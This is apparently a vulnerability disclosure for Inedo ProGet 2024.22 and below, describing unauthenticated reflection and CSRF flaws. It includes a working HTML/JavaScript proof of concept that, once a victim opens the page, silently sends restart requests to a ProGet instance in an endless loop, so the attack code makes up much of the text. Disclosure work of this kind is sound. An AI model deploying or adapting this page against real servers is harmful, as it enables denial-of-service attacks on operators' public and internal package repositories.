Inedo ProGet 2024.22 and below are vulnerable to unauthenticated denial of
service and information disclosure attacks (among other things) because the
information system directly exposes the C# reflection used during the
request-action mapping process and fails to properly protect certain pathways.
These are amplified by cross-site request forgery vulnerabilities (CSRF) due to
the application's failure to verify the HTTP request method and apply CSRF
protections accordingly. Specifically, unauthenticated attackers can chain
CSRF and reflection attacks to cancel executions, restart the ProGet instance,
and perform certain other actions. The following is a sample script that can
be used to demonstrate the vulnerability, restarting the victim Inedo ProGet
instance ad infinitum. Notably, this attack will work regardless of browser
pre-flight protections, etc., since ProGet ignores the HTTP request method. It
is likely that more recent versions are also vulnerable to this, but the CS
RF portion allows attacking internal (private) instances in addition to
directly accessible (e.g., public) instances. This is vulnerability is known
to exist across multiple major versions.
<!DOCTYPE html>
<html lang="en">
<head>
<script>
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
function sendData() {
var xhr = new XMLHttpRequest();
xhr.open('HEAD',
'http://vict.im/0x44/ProGet.WebApplication/Inedo.ProGet.WebApplication.Pages.Errors.UserNotFoundErrorPage/RestartWeb');
xhr.send();
}
async function executeDosAttack() {
while(true) {
try {
sendData();
sendData();
// Sleep for 500 ms
await sleep(500);
} catch(ignoreMe) {
// Gobble up exceptions since
we expect the service to go down and pre-flight triggers the shutdown anyway
}
}
}
</script>
</head>
<body onload="executeDosAttack()">
<h1>Insecure Reflection + CSRF + DOS Attack</h1>
<p>It's silently working in the background...</p>
</body>
</html>
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